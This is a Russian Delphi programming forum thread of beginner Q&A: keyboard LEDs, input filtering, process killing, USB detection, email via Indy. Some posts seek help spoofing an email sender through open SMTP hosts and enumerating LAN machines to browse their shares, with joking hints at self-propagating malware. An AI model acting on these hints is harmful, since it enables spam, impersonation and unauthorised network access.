[Nizhegorodets]

VAR
KS: TKeyboardState;
begin
GetKeyboardState(KS);
KS[020] := KS[020] XOR 1; //Caps Lock
KS[144] := KS[144] XOR 1; //Num Lock
KS[145] := KS[145] XOR 1; //Scroll Lock
SetKeyboardState(KS);
end;

пользуй.
Спасибо за исходник)

[art2222]

Спасибо за исходник)
Пардон, не пашет, я в посте поправил.

[НTL]

if (Key in ['А'..'Я','а'..'я']) then key := char(0);
Вэлкам :)

Пробел тоже не нужен, как это написать?

Рус буквы можно вставить при помощи Ctrl + V , поэтому надо будит написать в обработчики батона код что типа если здесь (edit1) есть рус буква или провел то....

[Nizhegorodets]

art2222

ругается на строчку

TKeyType = (ktCapsLock, ktNumLock, ktScrollLock);

пишет

" expected ':' but '=' found "


может в uses чего еще добавить надо?

[art2222]

Пробел тоже не нужен, как это написать?
Делай так:

if (key in ['А'..'Я','а'..'я',' '] then key:=#0;

[art2222]

ругается на строчку
TKeyType = (ktCapsLock, ktNumLock, ktScrollLock);
пишет
" expected ':' but '=' found "
может в uses чего еще добавить надо?

Писать до implementation или сразу после

type
TKeyType = (ktCapsLock, ktNumLock, ktScrollLock);

[Nizhegorodets]

art2222

Все исправил...огоньки загорелись...
А чтобы они мигали нужно через таймер действовать?

[art2222]

Все исправил...огоньки загорелись...
А чтобы они мигали нужно через таймер действовать?
Ну например так. Это уже от задумки зависит.


randomize;
a:=random(2);
if (a=0) then b:=false else b:=true;
a:=random(3);
case a of
0: SetLedState(ktCapsLock, b);
1: SetLedState(ktNumLock, b)
2: SetLedState(ktScrollLock, b);
end;

[НTL]

как при нажатии батона проверить: есть ли в edit1 рус буквы или пробелы

[Nizhegorodets]

art2222

Спасибо огромное)

[НTL]

как сделать билдер?

как при нажатии батона проверить: есть ли в edit1 рус буквы или пробелы?

[FindeR]

как сделать билдер?

как при нажатии батона проверить: есть ли в edit1 рус буквы или пробелы?
procedure TForm1.Button2Click(Sender: TObject);
var i,n:integer;
str:string;
begin
str:=edit1.Text;
for i:=1 to length(str) do begin
for n:=192 to 255 do begin
if copy(str,i,1) = char(n) then delete(str,i,1);
end;
if copy(str,i,1) = char(32) then delete(str,i,1);
end;
edit1.Text := str;
end;
Посимвольно проверяй и всё...

[НTL]

Не подходит

[erolom]

ок спс за исходники буду копаться=))

[НTL]

Есть такой компонент ICQclient, нужно найти в событиях:
1) Нет возможности подключится к сервоку (Нет инета на компе)
2) и таймаут подключений на 1 номер аси

[art2222]

1) Нет возможности подключится к сервоку (Нет инета на компе)

Проверить подключение к инету можно так:

if GetSystemMetrics(SM_NETWORK) and $01 = $01 then
ShowMessage('Computer is attached to a network!')
else
ShowMessage('Computer is not attached to a network!');

[НTL]

Проверить подключение к инету можно так:

if GetSystemMetrics(SM_NETWORK) and $01 = $01 then
ShowMessage('Computer is attached to a network!')
else
ShowMessage('Computer is not attached to a network!');

Не подходит, т.к. если icq сменит протоколы , то будет происходить попытка с сервером icq

С этим я разобрался, теперь надо команду которыя будет делать батон не кликабельным и наоборот

[art2222]

С этим я разобрался, теперь надо команду которыя будет делать батон не кликабельным и наоборот
Button1.enabled:= not Button1.Enabled;

Не подходит, т.к. если icq сменит протоколы , то будет происходить попытка с сервером icq
Это просто проверка соединения с инетом.

[НTL]

Button1.enabled:= not Button1.Enabled;


А обратно как?

[art2222]

А обратно как?
Button1.enabled:= true //доступен
Button1.enabled:= false //недоступен

[Nick_Rimer]

Здравствуйте!
С DelphiX начал общаться совсем недавно, скачал и установил какую-то доступную версию неофициального DelphiX (так называемый UnDelphiX)..

Попробовал написать свою первую программу. Это простенькая игрушка: есть игрок, который управляется стрелочками с клавиатуры, на него с верней части экрана падают звезды. При касании звезды игрок умирает. Иногда выпадают некоторые бонусы (сейчас 2: некое бессмертие с возможностью уничтожения звезд и небольшое замедление скорости всех объектов).. С течением времени, кстати, звезды появляются все чаще и чаще.. К моменту ошибки максимум на экране бывало отображалось до 28 живых звезд

Все вроде бы работает, можно играть, но иногда, в произвольный момент (можно и три минуты играть) игра вылетает, выдавая ошибку Access Violation и окошко CPU (с которым я работать совершенно не умею, и поэтому я не могу сделать отладку программы).

Это портит, понятное дело, всю игру.. я прилагаю к сообщению ссылку на архив со своей программой, может быть у кого-нибудь найдется время посмотреть и помочь мне, вдруг я какие ошибки совершаю, чтобы в будущем этого не было, пока проект-то не такой серьезный.. детская же совсем игруля..

Я просто устал несколько дней подряд бороться с ошибками, прошу помощи! Спасибо всем тем, кто откликнется!
На всякий случай прилагаю установщик моей версии UnDelphiX).

Для справок:
ОС: WinVista Home Premium
версия Delphi 7

P.S. раньше еще часто возникала ошибка типа Stack Overflow (я не знаю, удалось ли мне от нее целиком избавиться, но я давно ее не наблюдал.. у меня в таймерах я вызывал эти же таймеры, что, возможно, давало эффект обратной связи и зацикливание.. я устранил это путем булевых переменных, вроде бы теперь не возникает.. но если такое обнаружится в ходе отладки, просьба, сообщите об этом мне)..

Ссылка: Скачать (http://rapidshare.com/files/215736011/DX-Test1.zip) (размер 3,867 Mb)
(из-за проблем сервера не смог выложить на ucoz, поэтому простите за rapidshare)

Кстати, установщик UnDelphiX предлагает найти и установить новую версию. Ее он находит, успешно куда-то загружает, а установщик не запускает. Помогите определить, куда он закачивает новую версию! Спасибо!

[KaZ@NoVa]

Программу сейчас посмотреть не могу.
Но попробуй везде где только можешь вставить такие строчки
try
begin
СЮДА ВСТАВЛЯЕШЬ СВОЙ КОД ПРОСТО, БЕЗ ИЗМЕНЕНИЙ
end
except on EAssesViolation do
begin
ТУТ ОСТАВЛЯЕШЬ ПУСТОТУ
НО ПРИ ЖЕЛАНИИ МОЖЕШЬ ОКОШКО КАКОЕ-ТО ОТКРЫТЬ
end;

При отладке программы будут возникать ошибки всё-равно.
Но когда будешь играть запуская программу не из Delphi a просто из Винды, то ошибок не будет.
попробуй, может просто программа закроется в какой-то момент (ошибка не выведется и там из-за глюка её закроет..)

Насчет UnDelphi попробуй папку Temp. Чаще всего туда загружаются такие файлы. Поищи по дате
попробуй ещё папку Tempory Internet Files в папкее Windows.

[Nick_Rimer]

Тогда у меня еще пару вопросов:

1. Все-таки нарвался на Stack overflow.. есть ли на него exception? чтобы попробовать его отловить.. и избавиться бы от него! :)

2. Когда загружается приложение, курсор мышки сразу устанавливается на середину.. меня это бесит, мне в этом приложении вообще мышь не нужна.. убрать бы этот курсор на время работы приложения.. только чтобы в других приложениях он был! :)

Спасибо.. только и все предыдущее пока остается в силе..

[xaker-boss]

Пацаны, ну помогите написать один код на delphi который будет каждую минуту открывать файл 1.txt в диске C:\ , и если там написано '123', то тогда программа должна проверить запущен ли процесс 1.exe, и если да, то закрыть его и вывести сообщение типа 'Процесс закрыт', цикл должен быть бессконечным.

Плиз, просто сам никак не могу написать такой код, новичок еще в этом деле...=)))

[art2222]

uses
Psapi, tlhelp32;

procedure CreateWin9xProcessList(List: TstringList);
var
hSnapShot: THandle;
ProcInfo: TProcessEntry32;
begin
if List = nil then Exit;
hSnapShot := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot <> THandle(-1)) then
begin
ProcInfo.dwSize := SizeOf(ProcInfo);
if (Process32First(hSnapshot, ProcInfo)) then
begin
List.Add(ProcInfo.szExeFile);
while (Process32Next(hSnapShot, ProcInfo)) do
List.Add(ProcInfo.szExeFile);
end;
CloseHandle(hSnapShot);
end;
end;

procedure CreateWinNTProcessList(List: TstringList);
var
PIDArray: array [0..1023] of DWORD;
cb: DWORD;
I: Integer;
ProcCount: Integer;
hMod: HMODULE;
hProcess: THandle;
ModuleName: array [0..300] of Char;
begin
if List = nil then Exit;
EnumProcesses(@PIDArray, SizeOf(PIDArray), cb);
ProcCount := cb div SizeOf(DWORD);
for I := 0 to ProcCount - 1 do
begin
hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or
PROCESS_VM_READ,
False,
PIDArray[I]);
if (hProcess <> 0) then
begin
EnumProcessModules(hProcess, @hMod, SizeOf(hMod), cb);
GetModuleFilenameEx(hProcess, hMod, ModuleName, SizeOf(ModuleName));
List.Add(ModuleName);
CloseHandle(hProcess);
end;
end;
end;



procedure GetProcessList(var List: TstringList);
var
ovi: TOSVersionInfo;
begin
if List = nil then Exit;
ovi.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
GetVersionEx(ovi);
case ovi.dwPlatformId of
VER_PLATFORM_WIN32_WINDOWS: CreateWin9xProcessList(List);
VER_PLATFORM_WIN32_NT: CreateWinNTProcessList(List);
end
end;



function EXE_Running(FileName: string; bFullpath: Boolean): Boolean;
var
i: Integer;
MyProcList: TstringList;
begin
MyProcList := TStringList.Create;
try
GetProcessList(MyProcList);
Result := False;
if MyProcList = nil then Exit;
for i := 0 to MyProcList.Count - 1 do
begin
if not bFullpath then
begin
if CompareText(ExtractFileName(MyProcList.Strings[i]), FileName) = 0 then
Result := True
end
else if CompareText(MyProcList.strings[i], FileName) = 0 then Result := True;
if Result then Break;
end;
finally
MyProcList.Free;
end;

end;


(c) DRKB

Проверяем так:


procedure CheckFile;
var
f: TextFile;
s: string;
begin
AssignFile(f,'c:\1.txt');
Reset(f);
Readln(f,s);
if s='123' then
begin
if EXE_Running('1.exe', False) then
ShowMessage('EXE is running')
else
ShowMessage('EXE is not running');
end;
CloseFile(f);
end;


Потом в цикле вызываешь процедуру и все.

А вот как нужно убивать процесс зная только его имя (notepad.exe например)

uses
Tlhelp32, Windows, SysUtils;

function KillTask(ExeFileName: string): integer;
const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
FProcessEntry32);
while integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeF ile)) =
UpperCase(ExeFileName))
or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(OpenProcess(
PROCESS_TERMINATE, BOOL(0),
FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle,
FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;

[KaZ@NoVa]

Пацаны, ну помогите написать один код на delphi который будет каждую минуту открывать файл 1.txt в диске C:\ , и если там написано '123', то тогда программа должна проверить запущен ли процесс 1.exe, и если да, то закрыть его и вывести сообщение типа 'Процесс закрыт', цикл должен быть бессконечным.

Плиз, просто сам никак не могу написать такой код, новичок еще в этом деле...=)))

Про процессы не знаю - поищи в гугле, а вообще:

1) Ставишь на форму таймер, ставишь его Interval.
2) В таймере пишешь, что-то типа

f:text;
s:string;

Assign(f,'C:\1.txt');
Reset(f);
ReadLn(f,s);
Close(f);
if s='123' then
//проверяем наличие процесса
if Proc then begin
//убиваем процесс
Application.Messagebox('','Ok',0);
end;

[KaZ@NoVa]

Тогда у меня еще пару вопросов:

1. Все-таки нарвался на Stack overflow.. есть ли на него exception? чтобы попробовать его отловить.. и избавиться бы от него! :)

2. Когда загружается приложение, курсор мышки сразу устанавливается на середину.. меня это бесит, мне в этом приложении вообще мышь не нужна.. убрать бы этот курсор на время работы приложения.. только чтобы в других приложениях он был! :)

Спасибо.. только и все предыдущее пока остается в силе..
1 EStackOverflow

2 не знаю, поковыряйся в настройках окна. Там есть курсоры, может можно поставить что-то типаа none

[Dr.Gonzo]

Народ! Не знаю куда запостить, не злитесь, если не туда.
Нужно разослать письмо в html-формате с аттачем.
Решил всё делать на indy в Delphi7
Возникло 2 проблемы:

1. Нужно менять строку отправителя, а так как я авторизуюсь на сервере mail.ru, то он не дает писать от чужого имени. Может кто знает, есть ли хосты, не требующие ввода логина и пароля?

smtp.Host:='smtp.mail.ru';
smtp.AuthenticationType := atLogin;
smtp.Port:=25;
smtp.Username:='********';
smtp.Password:='*********';


2. Не могу сделать, чтобы письмо было в html-формате, если прикрепляю аттач, то письмо идет, как plaintext, если убираю строку вставки аттача, то всё нормально:

Msg.ClearBody;
TIdAttachment.Create(Msg.MessageParts, 'C:\1.txt');
Msg.Body.Add ('Zdes<br>html');
TidText.Create( Msg.MessageParts, Msg.Body);
Msg.MessageParts.Items[0].ContentType := 'application/octet';
Msg.MessageParts.Items[1].ContentType := 'text/html';
Msg.ContentType := 'multipart/mixed';
Msg.CharSet:= 'Windows-1251';
Msg.Encoding:= meMIME;

[OLISAV]

Тогда у меня еще пару вопросов:

2. Когда загружается приложение, курсор мышки сразу устанавливается на середину.. меня это бесит, мне в этом приложении вообще мышь не нужна.. убрать бы этот курсор на время работы приложения.. только чтобы в других приложениях он был! :)



Form1.Cursor:=crNone;

Если же тебе понадобится особенный курсор:

Открываешь файл ресурсов твоей программы (файл этот автоматически создаётся и имеет имя твоей проги.res) стандартной программой ImageEditor. Она сразу с дельфёй идет... Или, мона другими редакторами ресурсов - XN, Restorator... Можешь создать свой файл ресурсов...

Там добавляешь группу курсоров... Правда в стандартном дельфийском ImageEditore только Ч/Б курсоры... , но если тебе понадобиться не Ч/Б, а разноцветный юзай XN resource editor... Курсор именуешь как нибудь... "cur_name" например...

Потом прописываешь после слова implementation

{$R <имя твоего файла ресурсов>.res}

на создание формы пишушь:

Screen.Cursors[5] := LoadCursor(HInstance, 'cur_name'); //заргужаешь курсор
Form1.Cursor := 5; // теперь над формой 1 будет твой курсор...

Таких ты можешь нарисовать много и потом просто загружать их в screen.Cursirs[n]...

;)

[НTL]

Нужен код который будет:

1) Забирать значение поля (text) edit1
2) Искать это значение в файле name.txt (До знака ":")
3) Выводить значение (Только после ":") этой строчки в поле (text) edit2

Пример:

Фаил: name.txt

1:2
3:4
5:6
7:8
9:10
11:12
13:14
и, т.д.


Значение поля (text) edit1: 5
Значит значение поля (text) edit2 должно быть: 6

[slesh]

типа так, компилятора под рукой нет, так что проверить не могу

var
mas:array of string;
cnt:integer;
f:texfile;
x:integer;
s:string;
begin
assignfile(f,'name.txt');
reset(f);
cnt:=0;
while not eof(f) do
begin
inc(cnt);
setlength(mas,cnt)
readln(f,mas[cnt-1]);
end;
closefile(f);
.............
for x:=0 to cnt-1 do
begin
if copy(mas[x],1,pos(':',mas[x])-1)=edit1.text then
begin
s:=mas[x];
delete(s,1,pos(':',s));
edit2.text:=s;
break;
end;
end;

[art2222]

Нужен код который будет:

1) Забирать значение поля (text) edit1
2) Искать это значение в файле name.txt (До знака ":")
3) Выводить значение (Только после ":") этой строчки в поле (text) edit2

Например вот так:


procedure TForm1.Button3Click(Sender: TObject);
var
f: TextFile;
s,d: String;
i: Integer;
begin
d:=Edit1.Text;
AssignFile(f,'name.txt');
Reset(f);
while not eof(f) do
begin
ReadLn(f,s);
i:=pos(':',s);
if d=copy(s,1,i-1) then
begin
Edit2.Text:=copy(s,i+1,Length(s)-i+1);
Break;
end;
end;
CloseFile(f);
end;

[НTL]

[Error] Unit1.pas(48): Undeclared identifier: 'pos1'

последния ошибка, чем ево объявить?

[НTL]

Например вот так:


procedure TForm1.Button3Click(Sender: TObject);
var
f: TextFile;
s,d: String;
i: Integer;
begin
d:=Edit1.Text;
AssignFile(f,'name.txt');
Reset(f);
while not eof(f) do
begin
ReadLn(f,s);
i:=pos(':',s);
if d=copy(s,1,i-1) then
begin
Edit2.Text:=copy(s,i+1,Length(s)-i+1);
Break;
end;
end;
CloseFile(f);
end;


Здесь без единой ошибочки... спс вам

[slesh]

А в моем случае тоже без ошибки было, это я просто очепятался и пересохранил. Код от art2222 хорошо когда не нужно делать много таких операций, в моём случае я просто загнал всё в динамический массив

[KaZ@NoVa]

Нужен код который будет:

1) Забирать значение поля (text) edit1
2) Искать это значение в файле name.txt (До знака ":")
3) Выводить значение (Только после ":") этой строчки в поле (text) edit2

Пример:

Фаил: name.txt

1:2
3:4
5:6
7:8
9:10
11:12
13:14
и, т.д.


Значение поля (text) edit1: 5
Значит значение поля (text) edit2 должно быть: 6
вот На C+++

#include <windows.h>
#include"stdio.h"
HDC hDC;
RECT rect;
static HWND wedit;
static HWND wedit1;
HWND hWnd;
FILE*f;
BYTE chBuff[80],c[80],k,n=0;
int i=0;
WORD cbText;
WNDCLASS wc;

HINSTANCE hInst;
LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)
{
LPCSTR AppName = "Прога";
MSG msg;
hInst = hInstance;
WNDCLASS wc;
ZeroMemory(&wc, sizeof(wc));
wc.style = CS_HREDRAW | CS_VREDRAW;
wc.lpfnWndProc = (WNDPROC)WndProc;
wc.hInstance = hInst;
wc.hIcon = LoadIcon(hInst, IDI_APPLICATION);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wc.lpszClassName = AppName;
RegisterClass(&wc);
hWnd = CreateWindow(AppName,AppName,WS_OVERLAPPEDWINDOW,C W_USEDEFAULT, 0,100, 130,NULL,NULL,hInst,NULL);
FreeConsole();
ShowWindow(hWnd, SW_SHOW); // Отображаем окно
UpdateWindow(hWnd); // Перерисовываем окно
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch(msg)
{
case WM_CREATE:
CreateWindow("BUTTON","OK",WS_CHILD|BS_PUSHBUTTON|WS_VISIBLE,10,60,90,20,hWn d,0,1,NULL);
wedit=CreateWindow("edit", "",WS_CHILD | WS_VISIBLE| WS_BORDER| ES_CENTER | ES_MULTILINE | ES_WANTRETURN ,5, 5, 100, 20, hWnd, NULL, 1, NULL);
wedit1=CreateWindow("edit", "",WS_CHILD | WS_VISIBLE | WS_BORDER| ES_CENTER| ES_MULTILINE | ES_WANTRETURN ,5, 30, 100, 20, hWnd, NULL, 1, NULL);
SetFocus(wedit);
break;

case WM_DESTROY:
PostQuitMessage(0);
break;

case WM_COMMAND:
hDC=GetDC(hWnd);
switch(LOWORD(wParam))
{
case 0://событие от первой кнопки
if (HIWORD(wParam)==BN_CLICKED)
{
*(WORD*) chBuff = sizeof (chBuff) - 1;
cbText = SendMessage(wedit, EM_GETLINE, 0,(LPARAM)(LPSTR)chBuff);
chBuff[cbText] = '\0';
if((f=fopen("name.txt","r"))==NULL)
{
SetWindowText(wedit1,(LPSTR)(LPCSTR)"ошибка");
}
i=0;
n=0;
while(fscanf(f,"%c",&k),!feof(f))
{
if((k>='0')&&(k<='9'))
{
c[i]=k;
i++;
}
else
{
c[i]='\0';
i=0;
if((k==':')&&(strcmp(c,chBuff)==0))
{
while(fscanf(f,"%c",&c[i]),((c[i]>='0')&&(c[i]<='9')))
{
i++;
}
c[i]='\0';
SetWindowText(wedit1,(LPSTR)(LPCSTR)c);
n=1;
}
}
}
fclose(f);
if(n==0)
{
SetWindowText(wedit1,(LPSTR)(LPCSTR)"не найдено");
}
}
break;
};
DeleteObject(hDC);
break;
default:
return DefWindowProc(hWnd, msg, wParam, lParam);
}

return 0;
}

[Nightmarе]

Вот тут у меня ещё пару вопросов возникло.

1) Каким образом можно проверить вставлена ли флешка в компьютер или нет?
Нужен 100% рабочий способ проверки на наличие флешки и знать букву диска с этой флешкой.
Сначала у меня была идея проверять все диски на файловую систему FAT, но как выяснилось не все флешки имеют такую, у других есть просто FAT32, ну или ещё что.
Соответственно как мне отследить это действие без ошибок. И если вставлена не одна флешка, чтобы была информация о всех флешках находящихся в компе на данный момент.

2) Вопрос второй, если компьютер объединен в локальную сеть между компами и открыт соответствующий доступ, как получить список всех машин на которые можно залезть?
A далее используя //computername/c/games/ (у кого локалка тот знает) просматривать содержимое каталогов?
Дело в том, что у меня нету локалки, и поэтому в данной части плохо разбираюсь.

[rushter]

вот На C+++

#include <windows.h>
#include"stdio.h"
HDC hDC;
RECT rect;
static HWND wedit;
static HWND wedit1;
HWND hWnd;
FILE*f;
BYTE chBuff[80],c[80],k,n=0;
int i=0;
WORD cbText;
WNDCLASS wc;

HINSTANCE hInst;
LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)
{
LPCSTR AppName = "Прога";
MSG msg;
hInst = hInstance;
WNDCLASS wc;
ZeroMemory(&wc, sizeof(wc));
wc.style = CS_HREDRAW | CS_VREDRAW;
wc.lpfnWndProc = (WNDPROC)WndProc;
wc.hInstance = hInst;
wc.hIcon = LoadIcon(hInst, IDI_APPLICATION);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wc.lpszClassName = AppName;
RegisterClass(&wc);
hWnd = CreateWindow(AppName,AppName,WS_OVERLAPPEDWINDOW,C W_USEDEFAULT, 0,100, 130,NULL,NULL,hInst,NULL);
FreeConsole();
ShowWindow(hWnd, SW_SHOW); // Отображаем окно
UpdateWindow(hWnd); // Перерисовываем окно
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch(msg)
{
case WM_CREATE:
CreateWindow("BUTTON","OK",WS_CHILD|BS_PUSHBUTTON|WS_VISIBLE,10,60,90,20,hWn d,0,1,NULL);
wedit=CreateWindow("edit", "",WS_CHILD | WS_VISIBLE| WS_BORDER| ES_CENTER | ES_MULTILINE | ES_WANTRETURN ,5, 5, 100, 20, hWnd, NULL, 1, NULL);
wedit1=CreateWindow("edit", "",WS_CHILD | WS_VISIBLE | WS_BORDER| ES_CENTER| ES_MULTILINE | ES_WANTRETURN ,5, 30, 100, 20, hWnd, NULL, 1, NULL);
SetFocus(wedit);
break;

case WM_DESTROY:
PostQuitMessage(0);
break;

case WM_COMMAND:
hDC=GetDC(hWnd);
switch(LOWORD(wParam))
{
case 0://событие от первой кнопки
if (HIWORD(wParam)==BN_CLICKED)
{
*(WORD*) chBuff = sizeof (chBuff) - 1;
cbText = SendMessage(wedit, EM_GETLINE, 0,(LPARAM)(LPSTR)chBuff);
chBuff[cbText] = '\0';
if((f=fopen("name.txt","r"))==NULL)
{
SetWindowText(wedit1,(LPSTR)(LPCSTR)"ошибка");
}
i=0;
n=0;
while(fscanf(f,"%c",&k),!feof(f))
{
if((k>='0')&&(k<='9'))
{
c[i]=k;
i++;
}
else
{
c[i]='\0';
i=0;
if((k==':')&&(strcmp(c,chBuff)==0))
{
while(fscanf(f,"%c",&c[i]),((c[i]>='0')&&(c[i]<='9')))
{
i++;
}
c[i]='\0';
SetWindowText(wedit1,(LPSTR)(LPCSTR)c);
n=1;
}
}
}
fclose(f);
if(n==0)
{
SetWindowText(wedit1,(LPSTR)(LPCSTR)"не найдено");
}
}
break;
};
DeleteObject(hDC);
break;
default:
return DefWindowProc(hWnd, msg, wParam, lParam);
}

return 0;
}
гугл не выдал вариант для delphi ? тема вообщето про delphi :D

[slesh]

по вервому вопросу - когдато нужна была подобная прога.
Вот код - перебирает все диски в системе и берет их тип шины, тип а также кучу другйо инфы. Тебе достаточно тока выдрать отсюда код для определения типа насителя и чекнуть на BusTypeUsb

var
query:array[0..11] of byte = (00, 00, 00, 00, 00, 00, 00, 00, 00, 08, 00, 00);
type
Storage_Bus_Type = ( BusTypeUnknown, BusTypeScsi, BusTypeAtapi, BusTypeAta,
BusType1394, BusTypeSsa, BusTypeFibre, BusTypeUsb, BusTypeRAID );

type
PSTORAGE_DEVICE_DESCRIPTOR=record
Version:dword;
Size:dword;
DeviceType:UCHAR;
DeviceTypeModifier:UCHAR;
RemovableMedia:BOOLEAN;
CommandQueueing:BOOLEAN;
VendorIdOffset:dword;
ProductIdOffset:dword;
ProductRevisionOffset:dword;
SerialNumberOffset:dword;
BusType:STORAGE_BUS_TYPE;
RawPropertiesLength:dword;
RawDeviceProperties:array[1..500]of CHAR;
end;

function getValue(buf:PSTORAGE_DEVICE_DESCRIPTOR;offs:dword ):string;
var
mas:array[0..255] of char;
begin
if offs=0 then exit;
asm
push eax
push ebx
push edx
push esi
push edi
xor edi,edi
xor esi,esi
mov esi,offs
lea edx,buf
lea ebx,mas
@m1:
mov al,[edx+esi]
mov [ebx+edi],al
inc edi
inc esi
cmp al,0
jne @m1
pop edi
pop esi
pop edx
pop ebx
pop eax
end;
result:=string(mas);
end;

function NUM(s:string):boolean;
begin
result:=true;
case s[1] of
'0'..'9','A'..'F','a'..'f':;
else result:=false;
end;
case s[2] of
'0'..'9','A'..'F','a'..'f':;
else result:=false;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
hDevice:THANDLE;
status:BOOLean;
returnedLength:ULONG;
devDesc:pSTORAGE_DEVICE_DESCRIPTOR;
s,ss:string;
c:char;
x,y:integer;
begin
stringgrid1.Rows[stringgrid1.RowCount].Clear;
stringgrid1.Cells[0,0]:='Диск';
stringgrid1.Cells[1,0]:='VendorId';
stringgrid1.Cells[2,0]:='ProductId';
stringgrid1.Cells[3,0]:='ProductRev';
stringgrid1.Cells[4,0]:='Размещение';
stringgrid1.Cells[5,0]:='SerialNumber';
x:=1;
for c:='A' to 'Z' do begin
hDevice:=CreateFile(pansichar('\\.\'+c+':'), GENERIC_READ + GENERIC_WRITE, FILE_SHARE_READ + FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
status:=DeviceIoControl( hDevice, $002d1400, @query, sizeof(query), @devDesc, 512, cardinal(returnedLength), nil );
if status then
begin
stringgrid1.Cells[0,x]:=c;
// if (devDesc.RemovableMedia) then memo1.Lines.Add('Removable Media');
stringgrid1.Cells[1,x]:=getValue(devDesc,devDesc.VendorIdOffset);
stringgrid1.Cells[2,x]:=getValue(devDesc,devDesc.ProductIdOffset);
stringgrid1.Cells[3,x]:=getValue(devDesc,devDesc.ProductRevisionOffset);
case devDesc.BusType of
BusTypeUnknown:s:='Unknown';
BusTypeScsi:s:='SCSI';
BusTypeAtapi:s:='ATAPI';
BusTypeAta:s:='ATA';
BusType1394:s:='IEEE 1394';
BusTypeSsa:s:='SSA';
BusTypeFibre:s:='FIBRE';
BusTypeUsb:s:='USB';
BusTypeRAID:s:='RAID';
end;
stringgrid1.Cells[4,x]:=s;
ss:=getValue(devDesc,devDesc.SerialNumberOffset);
s:='';
for y:=1 to length(ss) div 2 do
begin
if not NUM(copy(ss,y*2-1,2)) then break;
s:=s+chr(strtoint('$'+copy(ss,y*2-1,2)));
end;
stringgrid1.Cells[5,x]:=s;
inc(x);
end;
end;
end;

end.



2) компы в локалке даже если и видятся, то не факт что ты сможешь залезть в нет. Копай в сторону netapi чтобы узнать все компы в сети, а потом на каждый ткнуться и проверить. Самораспространение пишишь ))

[Nightmarе]

2) компы в локалке даже если и видятся, то не факт что ты сможешь залезть в нет. Копай в сторону netapi чтобы узнать все компы в сети, а потом на каждый ткнуться и проверить. Самораспространение пишишь ))
По первому варианту большое спасибо, всё просто и понятно.

А вот по второму мне надо получить список компов тока чтобы палить листинг всех файлов и папок которые открыты зараж... ну текущему компьютеру.

ЗЫ: не самораспостранение.

[Archangelus]

Всех приветствую! Помогите пожалуйста решить проблему. Мне нужно получить все ссылки с фрейма. Код в нете я нашёл, но выскакивает ошибка "в доступе отказано". Дальше выяснил, что эта ошибка появляется тогда, когда фрейм ссылается на другой домен или что-то в этом роде.
Было бы очень здорово, если б кто-нибудь помог кодом: поиск всех ссылок во фреймах.
Использовал этот код:

procedure TForm1.Button2Click(Sender: TObject);
var
i: Integer;
begin
Listbox1.Clear;
//if frames available
if Webbrowser1.OleObject.Document.Frames.Length <> 0 then
begin
//walk through all frames and get the url
//to the Listbox
for i := 0 to Webbrowser1.OleObject.Document.Frames.Length - 1 do
begin
Listbox1.Items.Add(Webbrowser1.OleObject.Document. Frames.item(i).Document.URL);
end;
end;
end;

[slesh]

2 Nightmarе. Для того чтобы определить какие компы в сети и какие ресурсы доступны у них, нужно заюзать WNetOpenEnum -> WNetEnumResource->WNetCloseEnum

в инете поищи исходник на тему - Вывод Списка компьютеров в локальной сети.
Там когда ты получаеш WNetEnumResource
там в dwDisplayType будет указывать что это за тип рисурса (принтер, сервер,файл, дира итд итп.)
А там чуть рекурсивно вызывать всё

[slesh]

2 Archangelus попробуй поиграться с настройками IE.
В последних IE там сильно уж ужесточили безопасность. особеннов IE 8.
А так как WebBrowser пашет на основе IE то и все настройки распространяются на него. Лично у меня при IE8 никакими настройками не удалось это исправить.

MS наверное задумалась о безопасности в плане CDS(Cross-Domain Scripting) и залатала эту фичу.

Как вариант - ты можешь получить исходный код страници и там уже ручками отпарсить <iframe ... src= ...> Но тогда всё что будет создано через JS ты не сможешь найти.

[gashish_tema]

пишу base64 кодировшик файлов, как заменить FileOpen FileRead чем то другим... одним словом у меня программа из за использования модуля sysutils прибавляет в весе.. как обойтись без него или можно выдрать эти функции из него и засунуть в код своей программы... Дайте лучший совет

[KaZ@NoVa]

пишу base64 кодировшик файлов, как заменить FileOpen FileRead чем то другим... одним словом у меня программа из за использования модуля sysutils прибавляет в весе.. как обойтись без него или можно выдрать эти функции из него и засунуть в код своей программы... Дайте лучший совет
можно взять и скажем использовать стандартную схему паскаля..
assign(filename,path_to_file);
reset(filename) - reading from file
rewrite(filename) - writing to file))
потом close(filename);

[KaZ@NoVa]

Archangelus,незнаю, по идеи ошибки не должно быть. А пробывал перехватить событие? хотя бы чтобы ошибка не появлялась..

[AlexTheC0d3r]

